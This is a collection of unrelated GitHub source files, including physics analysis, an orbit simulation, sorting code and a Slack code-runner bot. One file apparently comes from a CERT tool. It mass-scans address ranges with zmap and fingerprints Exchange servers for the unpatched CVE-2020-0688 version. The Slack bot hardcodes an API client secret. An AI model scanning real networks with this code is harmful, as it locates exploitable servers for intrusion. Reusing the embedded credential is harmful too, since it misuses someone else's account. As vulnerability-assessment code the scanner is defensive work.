(\"muon\",\"PF\"),\n \"triggers\": self.mutriggers()\n }\n \n def listOfCalculables(self,pars) :\n return (supy.calculables.zeroArgs(supy.calculables) +\n supy.calculables.zeroArgs(calculables) +\n supy.calculables.fromCollections(calculables.muon,[pars[\"muon\"]]) +\n [calculables.muon.Indices( pars[\"muon\"], ptMin = 10, combinedRelIsoMax = 0.15),\n calculables.muon.IndicesTriggering(pars['muon'], ptMin = 10),\n calculables.other.lowestUnPrescaledTrigger(zip(*pars[\"triggers\"])[0]),\n calculables.vertex.ID(),\n calculables.vertex.Indices(),\n ])\n\n def listOfSteps(self,pars) :\n return [\n supy.steps.printer.progressPrinter(),\n supy.steps.filters.multiplicity(\"vertexIndices\",min=1),\n steps.trigger.l1Filter(\"L1Tech_BPTX_plus_AND_minus.v0\"),\n steps.trigger.physicsDeclaredFilter(),\n steps.filters.monster(),\n steps.filters.hbheNoise(),\n supy.steps.filters.value(\"%sTriggeringPt%s\"%pars[\"muon\"],min=10),\n steps.trigger.prescaleLumiEpochs(pars['triggers']),\n steps.trigger.anyTrigger(zip(*pars['triggers'])[0], unreliable = self.unreliableTriggers()),\n supy.steps.histos.value(\"%sTriggeringPt%s\"%pars[\"muon\"],100,0,200),\n steps.trigger.hltPrescaleHistogrammer(zip(*pars[\"triggers\"])[0]),\n steps.trigger.lowestUnPrescaledTriggerHistogrammer(),\n steps.trigger.lowestUnPrescaledTriggerFilter(),\n supy.steps.histos.value(\"%sTriggeringPt%s\"%pars[\"muon\"],100,0,200),\n ]+[ steps.trigger.prescaleScan(trig,ptMin,\"%sTriggeringPt%s\"%pars['muon']) for trig,ptMin in pars['triggers']]+[\n supy.steps.filters.value( \"%sTriggeringPt%s\"%pars['muon'],min = 41)]\n\n def listOfSampleDictionaries(self) : return [samples.muon]\n\n def listOfSamples(self,params) :\n return ( supy.samples.specify( names = \"SingleMu.2011B-PR1.1b\", color = r.kViolet) +\n supy.samples.specify( names = \"SingleMu.2011B-PR1.1a\", color = r.kOrange) +\n supy.samples.specify( names = \"SingleMu.2011A-Oct.1\", color = r.kBlack) +\n supy.samples.specify( names = \"SingleMu.2011A-Aug.1\", color = r.kGreen) +\n supy.samples.specify( names = \"SingleMu.2011A-PR4.1\", color = r.kRed) +\n supy.samples.specify( names = \"SingleMu.2011A-May.1\", color = r.kBlue) )\n \n def conclude(self,pars) :\n import re\n org = self.organizer(pars)\n black = sum([[hist for hist in step if re.match(r\"HLT_Mu\\d*_v\\d*_p\\d*\",hist)] for step in org.steps],[])\n\n \n args = {\"blackList\":[\"lumiHisto\",\"xsHisto\",\"nJobsHisto\"] + black,\n \"detailedCalculables\" : True }\n\n supy.plotter(org, pdfFileName = self.pdfFileName(org.tag+\"unmerged\"), **args ).plotAll()\n supy.plotter(org, pdfFileName = self.pdfFileName(org.tag+\"unmerged_nolog\"), doLog=False, **args ).plotAll()\n org.mergeSamples(targetSpec = {\"name\":\"SingleMu\",\"color\":r.kRed}, allWithPrefix=\"SingleMu\")\n supy.plotter(org, pdfFileName = self.pdfFileName(org.tag), **args ).plotAll()\n self.printPrescales(org)\n\n \n def printPrescales(self,org) :\n with open('output.txt','w') as file :\n print >> file, \"\\t ptMin\\t prescale observed\\t\\tN pass\"\n for step in org.steps :\n if step.name != \"prescaleScan\" : continue\n for hist in sorted(step,key = lambda h: int(h.replace(\"_eta2p1\",\"-2.1\").split(\"_\")[3][1:])) :\n if not step[hist][0].GetBinContent(2) : continue\n label =''.join(part.strip('p').rjust(8) for part in hist.replace(\"_eta2p1\",\"-2.1\").split('_'))\n listed = int(hist.replace(\"_eta2p1\",\"-2.1\").split(\"_\")[3][1:])\n observed = step[hist][0].GetEntries() / step[hist][0].GetBinContent(2)\n print >> file, label, (\"%.1f\" % observed).ljust(10), (\"%.1f\"%(observed/listed)).rjust(7), (\"%d\"%step[hist][0].GetBinContent(2)).rjust(20)\n\n","repo_name":"elaird/susycaf","sub_path":"analyses/prescales2.py","file_name":"prescales2.py","file_ext":"py","file_size_in_byte":5473,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"20207677946","text":"import pathlib\n\nfrom easystore import EasyStore\n\n\ndef create_test_student_store():\n store = EasyStore(\"test.estore\")\n store.create_sub_store(\"students\", [\"id[pk]\", \"name\", \"surname\", \"patronymic\"])\n students_store = store.get_sub_store(\"students\")\n students_store.insert_one(name=\"dan\", surname=\"sol\", patronymic=\"kek\")\n return store\n\n\ndef delete_test_files():\n pathlib.Path(\"test.estore\").unlink()\n pathlib.Path(\"students.sbstore\").unlink()\n pathlib.Path(\"students.sbstore.meta\").unlink()\n","repo_name":"didhat/StudentsVariants","sub_path":"tests/utilis.py","file_name":"utilis.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"41992075278","text":"options=input()\nn=int(input())\nsop=[]\nmop=[]\noptions+=' '\nfor i in range(len(options)-1):\n if (options[i+1]==':'):\n mop.append(options[i])\n elif (options[i]!=':'):\n sop.append(options[i])\nfor t in range(n):\n cmd=input().split()\n coption=dict()\n i=1\n while (i apocenterDist:\n apocenterDist1 = distToSurface\n apocenterPoint1 = (rX, rY)\n\n if distToSurface < pericenterDist:\n pericenterDist1 = distToSurface\n pericenterPoint1 = (rX, rY)\n\n return apocenterPoint1, apocenterDist1, pericenterPoint1, pericenterDist1\n\n\ndef simulation(rX, rY, vX, vY, engines, parts, needLog, autopilot):\n STEPS_COUNT = int(SIMULATION_TIME / DT)\n mainScript = MainScriptV1() if autopilot == \"V1\" else MainScriptV2()\n \n controller = Controller({\n \"main_engine\": engines[0], \n \"thruster_left\": engines[1], \n \"thruster_right\": engines[2],\n \"parts\": parts,\n }, [mainScript], needLog)\n\n shipOrientation = atan2(rY, rX)\n shipAngularVel = 0\n\n trajectories = [[(rX, rY)]]\n isCrash = False\n\n apocenterPoint = (0, 0)\n apocenterDist = 0\n pericenterPoint = (0, 0)\n pericenterDist = MAX_ORBIT_HEIGHT\n\n for i in range(STEPS_COUNT):\n rX, rY, vX, vY, shipOrientation, shipAngularVel = eulerIntegration(rX, rY, vX, vY, shipOrientation, shipAngularVel, engines, parts)\n\n if mainScript.getStage() < len(trajectories):\n trajectories[-1].append((rX, rY))\n else:\n lastPoint = trajectories[-1][-1]\n trajectories.append([lastPoint, (rX, rY)])\n\n controller.update(t=i * DT, rX=rX, rY=rY, vX=vX, vY=vY, shipOrientation=shipOrientation, shipAngularVel=shipAngularVel)\n if mainScript.isFreeFlight():\n apocenterPoint, apocenterDist, pericenterPoint, pericenterDist = updateOrbitStatistics(rX, rY, apocenterPoint, apocenterDist, pericenterPoint, pericenterDist)\n\n if distToMoon(rX, rY) <= MOON_RADIUS and not isShipLanded(rX, rY, vX, vY):\n isCrash = True\n break\n\n orbitWasReached = (not isCrash) and (MOON_RADIUS + apocenterDist <= MAX_ORBIT_HEIGHT)\n\n return trajectories, apocenterPoint, apocenterDist, pericenterPoint, pericenterDist, isCrash, orbitWasReached\n\n\ndef calculateOrbitData(fuelMass, payloadMass, needLog=False, autopilot=\"V1\"):\n mainEngine = CruiseEngine(\n thrust=MAIN_ENGINE_THRUST, \n fuelMass0=fuelMass, \n workingTime=TIME_MASS_FACTOR * fuelMass, \n height=MAIN_ENGINE_HEIGHT, \n mass=MAIN_ENGINE_MASS,\n )\n\n thrusterRight = ManeuveringThruster(\n thrust=THRUSTERS_THRUST, \n height=THRUSTERS_HEIGHT, \n direction=-1\n )\n\n thrusterLeft = ManeuveringThruster(\n thrust=THRUSTERS_THRUST, \n height=THRUSTERS_HEIGHT, \n direction=1\n )\n\n engines = [mainEngine, thrusterLeft, thrusterRight]\n parts = [mainEngine, Part(payloadMass, PAYLOAD_HEIGHT)]\n\n return simulation(RX0, RY0, VX0, VY0, engines, parts, needLog, autopilot)\n\n\ndef colorizeTrajectories(trajectories, colors):\n return [[colors[i % len(colors)], trajectories[i]] for i in range(len(trajectories))]\n\n\ndef main():\n fuelMass = 6.5 * 10**3\n payloadMass = 3.5 * 10**3\n\n trajectories, apocenterPoint, apocenterDist, pericenterPoint, pericenterDist, isCrash, orbitWasReached = calculateOrbitData(fuelMass, payloadMass, True, autopilot=\"V2\")\n\n if isCrash:\n print(\"CRASH!\")\n\n if orbitWasReached:\n print(f\"Apocenter distance: {apocenterDist}\")\n print(f\"Pericenter distance: {pericenterDist}\")\n else:\n print(\"Orbit wasn't reached.\")\n\n makeOrbitPlot(\n MOON_RADIUS, \n apocenterPoint,\n apocenterDist,\n pericenterPoint,\n pericenterDist,\n orbitWasReached,\n colorizeTrajectories(trajectories, COLORS), \n \"./model_1/plot.png\"\n )\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"SmokingElk/varkt-suslik","sub_path":"model_1/orbit_entering_model.py","file_name":"orbit_entering_model.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"30631672737","text":"import re\nimport ssl\n\ndef run_zmap(ifile, ofile, port, blacklist=None):\n import subprocess\n\n # optional blacklist\n bstring = f\"-b {blacklist}\" if blacklist else \"\"\n\n subprocess.run(f\"zmap -w {ifile} -p {port} -o {ofile} {bstring}\",\n shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n# find servers that have both ports 25 and 443 open\ndef find_candidates(cidrs, blacklist):\n import tempfile\n import shutil\n\n # directory for temporary files\n tempdir = tempfile.mkdtemp()\n\n # get hosts with TCP/25 open\n _, port_25 = tempfile.mkstemp(dir=tempdir)\n run_zmap(cidrs, port_25, 25, blacklist)\n\n # get hosts with both TCP/25 and TCP/443 open\n _, ports_25_443 = tempfile.mkstemp(dir=tempdir)\n run_zmap(port_25, ports_25_443, 443)\n\n with open(ports_25_443, \"r\") as f:\n results = [ip.strip() for ip in f.readlines()]\n\n shutil.rmtree(tempdir)\n return results\n\n# tries to determine Exchange version and server name\nregex = re.compile(b'href=\"/owa/auth/(?P15\\.[0-9\\.]+)/themes/resources/favicon.ico\"')\ndef get_exchange_version(ip, timeout):\n import requests\n import requests.packages.urllib3\n\n requests.packages.urllib3.disable_warnings()\n requests.adapters.DEFAULT_RETRIES = 3\n\n try:\n session = requests.Session()\n session.max_redirects = 1\n session.verify = False\n\n # if / redirects to /owa, that looks like an Exchange\n redirect = session.head(f\"https://{ip}/\", timeout=timeout).headers[\"location\"]\n if redirect == f\"https://{ip}/owa/\":\n # default configuration of IIS/Exchange discloses hostname\n headers = session.head(f\"https://{ip}/owa/\", timeout=timeout).headers\n servername = headers[\"x-feserver\"] if \"x-feserver\" in headers else None\n\n # the Exchange version is disclosed in the source, e.g. in favicon\n for line in session.get(f\"https://{ip}/owa/\", timeout=timeout).iter_lines():\n match = regex.search(line)\n if match:\n return match.group(\"version\").decode(), servername\n except:\n pass\n finally:\n session.close()\n\n return None, None\n\n\n# Patched versions\n# Exchange Server 2013: 15.0.1497.6\n# Exchange Server 2016: 15.1.1847.7, 15.1.1913.7\n# Exchange Server 2019: 15.2.464.11, 15.2.529.8\ndef is_vulnerable(version):\n _, major, minor = version.split(\".\")\n major, minor = int(major), int(minor)\n\n if major == 0:\n # Exchange Server 2013, fixed: 15.0.1497.6\n if minor < 1497:\n return True\n else:\n return False\n elif major == 1:\n # Exchange Server 2016, fixed: 15.1.1847.7, 15.1.1913.7\n if minor < 1913 and minor != 1847:\n return True\n else:\n return False\n elif major == 2:\n # Exchange Server 2019, fixed: 15.2.464.11, 15.2.529.8\n if minor < 529 and minor != 464:\n return True\n else:\n return False\n\n# extract Common Name from TLS certificate\ndef get_cn(ip):\n import socket\n import OpenSSL.crypto\n try:\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n s = ctx.wrap_socket(socket.socket(), server_hostname=ip)\n s.connect((ip, 443))\n \n asn1 = s.getpeercert(True)\n cert = OpenSSL.crypto.load_certificate(\n OpenSSL.crypto.FILETYPE_ASN1, asn1)\n return cert.get_subject().CN\n except:\n return None\n\n# determine rDNS/PTR of the IP\ndef get_reverse(ip):\n from dns import reversename, resolver\n\n try:\n query = reversename.from_address(ip)\n ptr = resolver.query(query, \"PTR\")[0]\n if ptr:\n return str(ptr)\n else:\n return None\n except:\n return None\n","repo_name":"cert-lv/CVE-2020-0688","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"90"} +{"seq_id":"36295327857","text":"# To do this algorithm with the BONUS. I have to use Joe Marini explanation and algorithm combined with a simple sorting algorithm that I figure out myself. \n# Thanks to this challengue, I am learning about recursion and mergesort algorithm. I know that this algorithm can be improved and that QuickSort is the best, \n# but I am learning, so I have to grasp this concept very well. What was difficult to me was the use of a double recursion. Can anyone help me and correct my mistake. \n# Please like and comment.\n# Date of last modification: 5-29-2019\n\nimport numpy as np\n\n#Joe Marini wrote this part...I debugged and understood the concept in a 60%\ndef mergeSortPerArray(dataset):\n if len(dataset) > 1:\n mid = len(dataset) // 2\n leftarr = dataset[:mid]\n rightarr = dataset[mid:]\n\n # recursively break down the arrays\n mergeSortPerArray(leftarr)\n mergeSortPerArray(rightarr)\n \n dataset= mergeTwoArrays(leftarr,rightarr,dataset)\n\n # while both arrays have content\n\n\n# This was wrote by me and it is just a simple sorting algorithm. \ndef mergeTwoArrays(firstArray, secondArray, dataset):\n\n # now perform the merging\n i=0 # index into the left array\n j=0 # index into the right array\n k=0\n \n while i< len(firstArray) and j < len(secondArray) :\n if (firstArray[i] < secondArray [j]):\n dataset[k] = firstArray[i]\n i += 1\n else:\n dataset[k]= secondArray[j]\n j += 1\n k += 1\n \n while i< len(firstArray):\n dataset[k]= firstArray[i]\n i += 1\n k += 1 \n\n while j< len(secondArray):\n dataset[k]= secondArray[j]\n j += 1 \n k += 1\n\n return dataset\n \n \n\n\n\n#First array\nfirstArray=list(map(int,input(\"Enter your first array. Each number must be separated by using a comma:\\n\").split(',')))\nmergeSortPerArray(firstArray)\nprint(firstArray)\n#Second Array\nsecondArray=list(map(int,input(\"Enter your second array. Each number must be separated by using a comma:\\n\").split(',')))\nmergeSortPerArray(secondArray)\nprint(secondArray)\nfinalArray =np.empty(len(firstArray)+len(secondArray), int)\nfinalArray = mergeTwoArrays(firstArray, secondArray, finalArray)\nprint(finalArray)","repo_name":"RosanaR2017/PYTHON","sub_path":"mergeSortedArrays.py","file_name":"mergeSortedArrays.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"23259606606","text":"import pandas as pd\n\n# Lendo o DataSet\ndf = pd.read_csv('/home/lucassouza/vinha/Dashboard7/public/storage/CsvFiles/guedinho.csv', sep=';',decimal=\",\")\ninsert = []\n\n\nfor row in df.itertuples():\n insert.append((row.CHAVE,row.NTIPODOC,row.NCHITEM,row.NCHDOC,row.NEMPRESA,row.VRQTD,row.TIPO,row.NPRODUTO,row.TCODIGO,row.TCODIGOBARRAS,row.TREFERENCIA,row.NVALOR,row.NQUANTIDADE,row.NQTDREAL,row.NTOTAL,row.NDESCONTO,row.NACRESCIMO,row.DATA,row.HORA,row.DCOMISSAO,row.NCLIENTE,row.TCLIENTE,row.NVENDEDOR,row.DESC_VENDEDOR,row.TTABELA,row.TUSUARIO,row.DESC_PRODUTOS,row.CONDICAOPGTO,row.NPAGAMENTO,row.TGRUPO,row.NGRUPO,row.NSUBGRUPO,row.TSUBGRUPO,row.NESTOQUE,row.DESC_ESTOQUE,row.NFORNECEDOR,row.DESC_FORNECEDOR,row.NDOCUMENTO,row.NSUPERVISOR,row.DESC_SUPERVISOR,row.NJUROS,row.NFRETE,row.NOUTRASDESPESAS,row.NVALORACRESCIMOINCLUSO,row.NAGENC_VALORUNIT,row.NAGENC_VALORTOTAL,row.NVENDEDOR2,row.DESC_VENDEDOR2,row.NVENDEDOR3,row.DESC_VENDEDOR3,row.NREF,row.NCHUNIDADE,row.TUNIDADE,row.NVALORLUCRO,row.NCUSTOITEM,row.CREATED_AT,row.UPDATED_AT))\nprint(insert) \n# print(df.dtypes) \n# Identificando dados nullos\n# print(df.isnull().sum())\n# df['NTOTAL'].str[\",\",\".\"].astype(float)\n# df['NVALOR'].str[\",\",\".\"].astype(float)\n# df['NVALORLUCRO'].str[\",\",\".\"].astype(float)\n# df['NCUSTOITEM'].str[\",\",\".\"].astype(float)\n\n\n","repo_name":"kaverakoma/csvPython","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"17951483489","text":"n = int(input())\nk = int(input())\nx = list(map(int,input().split()))\nsum = 0\nfor i in range(n):\n if x[i] <= abs(x[i]-k):\n sum += x[i]*2\n else:\n sum += abs(x[i]-k)*2\n\nprint(sum)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03598/s422460468.py","file_name":"s422460468.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"44000561089","text":"import math\nneobhodimi_chasove=int(input())\ndni_koito_imat=int(input())\nslujiteli=int(input())\nchasove=(dni_koito_imat-0.1*dni_koito_imat)*8+slujiteli*2*dni_koito_imat\nchasove_za_polzvane=math.floor(chasove)\nif chasove_za_polzvane>=neobhodimi_chasove:\n leftover=chasove_za_polzvane-neobhodimi_chasove\n print(f'Yes!{leftover} hours left.')\nelse:\n overtime=neobhodimi_chasove-chasove_za_polzvane\n print(f'Not enough time!{overtime} hours needed.')","repo_name":"HBall88/SoftUni-Python","sub_path":"Проверки/Firm.py","file_name":"Firm.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"18185491969","text":"import copy\n# 入力\nD = int(input())\nC = list(map(int, input().split()))\nS_2d = []\nfor i in range(D):\n s_1d = list(map(int, input().split()))\n S_2d.append(s_1d)\n\nlast_days = [0] * 26\ntot_score = 0\n\ndef scoring(day, tot_score, today_contest, last_days):\n today_plus = S_2d[day - 1][today_contest]\n today_minus = 0\n for j, c in enumerate(C):\n today_minus += c * (day - last_days[j])\n # print(today_plus, today_minus)\n return (today_plus - today_minus)\n\n# A\nfor i in range(D):\n best_score = -10**100\n best_contest = 0\n for k, _ in enumerate(C):\n last_days_tmp = copy.copy(last_days)\n last_days_tmp[k] = i + 1\n k_score = scoring(i + 1, tot_score, k, last_days_tmp)\n if best_score < k_score:\n best_score, best_contest = k_score, k\n last_days[best_contest] = i + 1\n tot_score += best_score\n print(best_contest + 1)\n\n# # B\n# T = []\n# for i in range(D):\n# t = int(input())\n# T.append(t)\n# for i in range(D):\n# last_days[T[i] - 1] = i + 1\n# tot_score += scoring(i+1, tot_score, T[i] - 1)\n# print(tot_score)\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02618/s265489163.py","file_name":"s265489163.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18402857419","text":"from math import factorial\n\n\ndef comb(n, k, mod):\n if n < 0 or k < 0 or n < k:\n return 0\n if n == 0 or k == 0:\n return 1\n \n a=factorial(n) % mod\n b=factorial(k) % mod\n c=factorial(n-k) % mod\n return (a*power_func(b, mod-2, mod)*power_func(c, mod-2, mod)) % mod\n\n\ndef power_func(a,b,mod):\n if b == 0:\n return 1\n if b % 2 == 0:\n d = power_func(a, b//2, mod)\n return d*d % mod\n if b % 2 == 1:\n return (a*power_func(a, b-1, mod)) % mod\n\n\nN, M, K = map(int, input().split())\nmod = 10**9 + 7\n\n\nx = N*N*(M*M*(M+1)//2 - M*(M+1)*(2*M+1)//6)\ny = M*M*(N*N*(N+1)//2 - N*(N+1)*(2*N+1)//6)\nans = comb(N*M-2, K-2, mod) * (x + y) % mod\nprint(ans)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03039/s623115353.py","file_name":"s623115353.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"34285556227","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('dictionary', '0011_auto_20160205_1258'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Dataset',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(unique=True, max_length=60)),\n ('is_public', models.BooleanField(default=False, help_text='Tells whether this dataset is public or private')),\n ('description', models.TextField()),\n ('language', models.ForeignKey(to='dictionary.Language')),\n ],\n ),\n ]\n","repo_name":"ISOF-ITD/teckenlistor","sub_path":"signbank/dictionary/migrations/0012_auto_20160323_1408.py","file_name":"0012_auto_20160323_1408.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"18017278042","text":"import greenlet\n\n\ndef func1():\n print(\"func1 start\")\n f2.switch()\n print(\"func1 end\")\n f2.switch()\n\n\ndef func2():\n print(\"func2 start\")\n f1.switch()\n print(\"func2 end\")\n f1.switch()\n\n\nf1 = greenlet.greenlet(func1)\nf2 = greenlet.greenlet(func2)\n\nf1.switch()\n\n\"\"\"\nfunc1 start\nfunc2 start\nfunc1 end\nfunc2 end\n\"\"\"\n\n\"\"\"\n\tgr1 = greenlet(func1)\n\tgr1.swich()\n\"\"\"\n","repo_name":"yangtuothink/Python_AI_note","sub_path":"并发编程/协程/greenlet_demo.py","file_name":"greenlet_demo.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"42939027986","text":"import os\nimport time\nimport re\nfrom slackclient import SlackClient\n\nimport requests\n\n# instantiate Slack client\ntoken = os.environ['SLACK_TOKEN']\nslack_client = SlackClient(token)\n# starterbot's user ID in Slack: value is assigned after the bot starts up\nstarterbot_id = None\n\n# constants\nRTM_READ_DELAY = 1 # 1 second delay between reading from RTM\nINFO_COMMAND = \"info\"\nMENTION_REGEX = \"^<@(|[WU].+?)>(.*)\"\n\n\ndef parse_direct_mention(message_text):\n \"\"\"\n Finds a direct mention (a mention that is at the beginning) in message text\n and returns the user ID which was mentioned. If there is no direct mention, returns None\n \"\"\"\n matches = re.search(MENTION_REGEX, message_text)\n # the first group contains the username, the second group contains the remaining message\n if matches:\n return [matches.group(1), message_text.split(' ', 1)[1].strip()]\n else:\n return [None, None]\n # return (matches.group(1), matches.group(2).strip()) if matches else (None, None)\n\ndef parse_bot_commands(slack_events):\n \"\"\"\n Parses a list of events coming from the Slack RTM API to find bot commands.\n If a bot command is found, this function returns a tuple of command and channel.\n If its not found, then this function returns None, None.\n \"\"\"\n for event in slack_events:\n if event[\"type\"] == \"message\" and not \"subtype\" in event:\n msg = event['files'][0]['preview']\n lang = event['files'][0]['filetype']\n return [msg, event[\"channel\"], lang]\n # user_id, message = parse_direct_mention(event[\"text\"])\n # # user_id, message = event[\"text\"].split(' ', 1)\n # if user_id == starterbot_id:\n # return message, event[\"channel\"]\n return [None, None, None]\n\ndef handle_command(command, channel, lang):\n \"\"\"\n Executes bot command if the command is known\n \"\"\"\n # Default response is help text for the user\n default_response = \"Not sure what you mean. Try *{}*.\".format(INFO_COMMAND)\n\n # Finds and executes the given command, filling in response\n # response = None\n # This is where you start to implement more commands!\n if str(lang) == 'python': lang = 'python2'\n if str(lang) == 'javascript': lang = 'nodejs'\n d = {\n \"clientId\": \"4d4b392b6a10b671411d2be135f03ba7\",\n \"clientSecret\":\"d09cd470b318e5e02b4ebbb0fb10455039104c57d055b4b196d465ed7505c964\",\n \"script\": command,\n \"language\":lang,\n \"versionIndex\":\"0\",\n }\n u='https://api.jdoodle.com/v1/execute'\n r = requests.post(url=u, json=d)\n response = r.json().get('output')\n # if command.startswith(INFO_COMMAND):\n # print(command)\n # # if 'symbol' in command:\n # # response = helpers.get_coins_symbol(100)\n # # else:\n # # cmd, coin = command.split(' ')\n # # response = helpers.get_coin_info(coin)\n # cmd, script = command.split(' ', 1)\n # script = script.replace('<', '<').replace('>', '>')\n # d = {\n # \"clientId\": \"\",\n # \"clientSecret\":\"\",\n # \"script\": script,\n # \"language\":\"c\",\n # \"versionIndex\":\"2\",\n # }\n # u='https://api.jdoodle.com/v1/execute'\n # r = requests.post(url=u, json=d)\n # response = r.json()\n\n # Sends the response back to the channel\n slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=response or default_response\n )\n\nif __name__ == \"__main__\":\n if slack_client.rtm_connect(with_team_state=False):\n print(\"Bot connected and running!\")\n # Read bot's user ID by calling Web API method `auth.test`\n starterbot_id = slack_client.api_call(\"auth.test\")[\"user_id\"]\n while True:\n command, channel, lang = parse_bot_commands(slack_client.rtm_read())\n if command:\n handle_command(command, channel, lang)\n time.sleep(RTM_READ_DELAY)\n else:\n print(\"Connection failed. Exception traceback printed above.\")\n","repo_name":"rishikant42/Python-TheHardWay","sub_path":"others/slack_bot.py","file_name":"slack_bot.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"19185386330","text":"from yaga_ga.evolutionary_algorithm.selectors.ranking import Ranking\n\n\ndef test_ranking_selector_returns_first():\n ranked_pop = [\n (\"aaa\", 3),\n (\"bbb\", 2),\n (\"ccc\", 1),\n ]\n r = Ranking(selection_size=2)\n l = list(r(ranked_pop))\n assert len(l) == 2\n assert \"aaa\" in l\n assert \"bbb\" in l\n","repo_name":"alessandrolenzi/yaga","sub_path":"tests/test_selectors/test_ranking_selector.py","file_name":"test_ranking_selector.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"72208191338","text":"\"\"\"\n给定一个未排序的整数数组,找到最长递增子序列的个数。\n\n示例 1:\n\n输入: [1,3,5,4,7]\n输出: 2\n解释: 有两个最长递增子序列,分别是 [1, 3, 4, 7] 和[1, 3, 5, 7]。\n示例 2:\n\n输入: [2,2,2,2,2]\n输出: 5\n解释: 最长递增子序列的长度是1,并且存在5个子序列的长度为1,因此输出5。\n注意: 给定的数组长度不超过 2000 并且结果一定是32位有符号整数。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n if not nums:\n return 0\n length = len(nums)\n dp = [1] * length\n lens = [1] * length\n for i in range(1, length):\n ans = 0\n for j in range(i):\n if nums[j] < nums[i]:\n #获取最大长度\n if dp[j] >= dp[i]:\n dp[i] = dp[j] + 1\n lens[i] = lens[j]\n #相等长度累积\n elif dp[j] + 1 == dp[i]:\n lens[i] += lens[j]\n\n dp[i] += ans\n res = 0\n max_length = max(dp)\n for i, l in enumerate(lens):\n if dp[i] == max_length:\n res += l\n return res\n\n\nif __name__ == '__main__':\n nums = [2, 2, 2, 2, 2]\n sol = Solution()\n result = sol.findNumberOfLIS(nums)\n print(result)\n","repo_name":"Asunqingwen/LeetCode","sub_path":"算法小抄/子序列/最长递增子序列的个数.py","file_name":"最长递增子序列的个数.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"4962885582","text":"import math\nimport sys\nimport os\nimport copy\nimport time\nimport csv\nimport shutil\nimport dismod_at\nfrom math import exp\n#\n# import at_cascade with a preference current directory version\ncurrent_directory = os.getcwd()\nif os.path.isfile( current_directory + '/at_cascade/__init__.py' ) :\n sys.path.insert(0, current_directory)\nimport at_cascade\n# -----------------------------------------------------------------------------\n# global varables\n# -----------------------------------------------------------------------------\n# BEGIN fit_goal_set\nfirst_fit_goal_set = { 'n3', 'n4', 'n2' }\nsecond_fit_goal_set = { 'n5', 'n6' }\n# END fit_goal_set\n# BEGIN all_option\nall_option = {\n 'result_dir': 'build/example',\n 'root_node_name': 'n0',\n 'max_number_cpu': '2',\n}\nall_option['root_node_database'] = all_option['result_dir'] + '/root_node.db'\n# END all_option\n# ----------------------------------------------------------------------------\n# functions\n# ----------------------------------------------------------------------------\n# BEGIN rate_true\ndef rate_true(rate, a, t, n, c) :\n iota_true = {\n 'n3' : 0.04,\n 'n4' : 0.05,\n 'n5' : 0.06,\n 'n6' : 0.07,\n }\n iota_true['n1'] = (iota_true['n3'] + iota_true['n4']) / 2.0\n iota_true['n2'] = (iota_true['n5'] + iota_true['n6']) / 2.0\n iota_true['n0'] = (iota_true['n1'] + iota_true['n2']) / 2.0\n if rate == 'iota' :\n return iota_true[n]\n return 0.0\n# END rate_true\n# ----------------------------------------------------------------------------\ndef root_node_db(file_name) :\n #\n # BEGIN iota_mean\n iota_mean = rate_true('iota', None, None, 'n0', None)\n # END iota_mean\n #\n # prior_table\n prior_table = list()\n prior_table.append(\n # BEGIN parent_value_prior\n { 'name': 'parent_value_prior',\n 'density': 'gaussian',\n 'lower': iota_mean / 10.0,\n 'upper': iota_mean * 10.0,\n 'mean': iota_mean,\n 'std': iota_mean,\n 'eta': iota_mean * 1e-3\n }\n # END parent_value_prior\n )\n prior_table.append(\n # BEGIN child_value_prior\n { 'name': 'child_value_prior',\n 'density': 'gaussian',\n 'mean': 0.0,\n 'std': 10.0,\n }\n # END 